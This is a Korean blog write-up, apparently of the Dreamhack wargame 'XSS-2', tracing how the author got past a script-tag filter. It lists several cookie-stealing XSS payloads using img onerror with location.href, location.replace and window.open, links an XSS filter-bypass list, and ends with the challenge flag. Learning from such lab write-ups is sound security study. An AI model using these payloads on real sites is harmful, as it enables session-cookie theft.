[Web] XSS-2

2023. 5. 2. 16:04·War Game/dreamhack.io

'/vuln' 페이지에 접속하면 URL 상에 파라미터로 <script>alert(1)</script>가 삽입되어 있음에도 팝업창이 표시되지 않는다. XSS를 우회하는 로직이 들어있는 것 같다. 아마 전에 봤던 것처럼 script 태그 사용이 막혀있기 때문일 것으로 생각된다.

결과적으로 "script" 문자열을 포함하지 않으면서 자바스크립트 구문을 삽입할 수 있는 환경을 만들어야 한다. 이전에도 비슷한 문제를 풀어봤으니 가장 먼저 떠오른 것은 img나 iframe 태그였다.

 

제일 처음 시도해봤던 구문은 아래와 같았다.

<img src = "http://127.0.0.1:8000/memo?memo=document.cookie()">

아차 싶어 다음과 같이 수정해 다시 시도해봤다.

<img src = "http://127.0.0.1:8000/memo?memo="+document.cookie()>

그러나 여전히 동작하지 않는다. memo 페이지에 접근할 때마다 자동으로 출력되는 "Hello" 스트링만 출력되어 있더라..

 

 

 

그러던 중에 아래와 같은 사이트를 발견하였다. XSS 필터링을 우회할 수 있는 태그들이 적혀있었다. 하나하나 테스트해보며 되는대로 골라잡아보자.

XSS bypass list ( https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec )

 

XSS Filter Bypass List

XSS Filter Bypass List. GitHub Gist: instantly share code, notes, and snippets.

gist.github.com

element[attribute='<img src=x onerror=alert('XSS');> 의 실행 결과.

 

오.. 이거 통하는 것 같다. 조금식 변형해가며 계속 검증해봤다.

 

element[attribute='<img src=x onerror=window.open("https://127.0.0.1:8000/memo?memo="+document.cookie);>

-> 엘리먼트 부분은 떼어버려도 유효하게 작동하더라.

 

<img src=x onerror=window.open("https://127.0.0.1:8000/memo?memo="+document.cookie)>

-> window.open이 문제인가? 다른 메소드로 바꿔보자.

 

<img src=x onerror="location.href='https://127.0.0.1:8000/memo?memo='+document.cookie">

-> 그래도 작동을 안 한다. 동일 페이지 내에서 이동하기 위한 것이니 호스트 부분을 떼어볼까?

 

<img src=x onerror="location.href='/memo?memo='+document.cookie">

<img src=x onerror="location.replace('/memo?memo='+document.cookie)">

<img src=x onerror=window.open("/memo?memo="+document.cookie)>

-> 위의 세 코드는 모두 정상적으로 동작한다. 이외에도 marquee 같은 코드들도 '/vuln' 페이지에서 정상적으로 동작하는 것을 확인했었는데 애네들도 뒤에 입력한 주소가 문제이지 해당 부분만 동일하게 수정해주면 정상적으로 동작할 것으로 보인다.

 

<marquee/onstart=window.open("/memo?memo="+document.cookie)>

-> 될 줄 알았는데 안 된다.   :/ 

 

https://blog.naver.com/yiuse78/50100213667

 

[자바스크립트] location.href 와 location.replace 의 차이점.

자바스크립트에서 페이지 이동 시킬때 location.href를 많이 사용한다. 하지만 location.replace 메세드도 ...

blog.naver.com

 

DH{3c01577e9542ec24d68ba0ffb846508f}

 

 

풀이에 참고한 추가 링크

https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=diceworld&logNo=220180929456 

 

자바스크립트 페이지 이동 (location.href)

     - location.href 란?      href 는 location 객체에 속해있...

blog.naver.com

 

'War Game > dreamhack.io' 카테고리의 다른 글

[Web] command-injection-1  (0) 2023.05.02
[pwn] cmd_center  (0) 2023.05.02
[pwn] shell_basic -하- (orw 쉘코드를 완성해보자)  (0) 2023.04.27
[pwn] shell_basic -상- (orw 쉘코드를 작성해보려고 노력해보자)  (0) 2023.04.26
[Web] File-Download-1  (0) 2023.04.19
'War Game/dreamhack.io' 카테고리의 다른 글
  • [Web] command-injection-1
  • [pwn] cmd_center
  • [pwn] shell_basic -하- (orw 쉘코드를 완성해보자)
  • [pwn] shell_basic -상- (orw 쉘코드를 작성해보려고 노력해보자)
re.t
re.t
자동화, 안정적인 서비스 운영에 관심이 많습니다. 클라우드인프라/플랫폼/솔루션 엔지니어를 꿈꾸고 있습니다.
  • re.t
    log
    re.t
  • 전체
    오늘
    어제
    • 분류 전체보기 (48)
      • Repo (2)
        • On Board (0)
        • On going (0)
        • Archive (2)
      • Studies (4)
        • AWS - AHSS (AWS 보안) (2)
        • C++ (1)
        • Python (0)
        • Java (0)
        • C# (0)
        • Unreal Engine (1)
      • Notes (3)
        • System (1)
        • Network (2)
        • Web (0)
        • Crypto (0)
        • etc. (0)
      • War Game (32)
        • CTF (7)
        • dreamhack.io (17)
        • reversing.kr (0)
        • pwnable.kr (1)
        • Lord of SQL Injection (3)
        • misc (2)
        • TBD (2)
      • BoB (6)
        • notes (0)
        • write-up (6)
        • misc (0)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    Cow
    메모리
    C++
    컴파일러
    Unreal
    언리얼
    UE
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.0
re.t
[Web] XSS-2
상단으로

티스토리툴바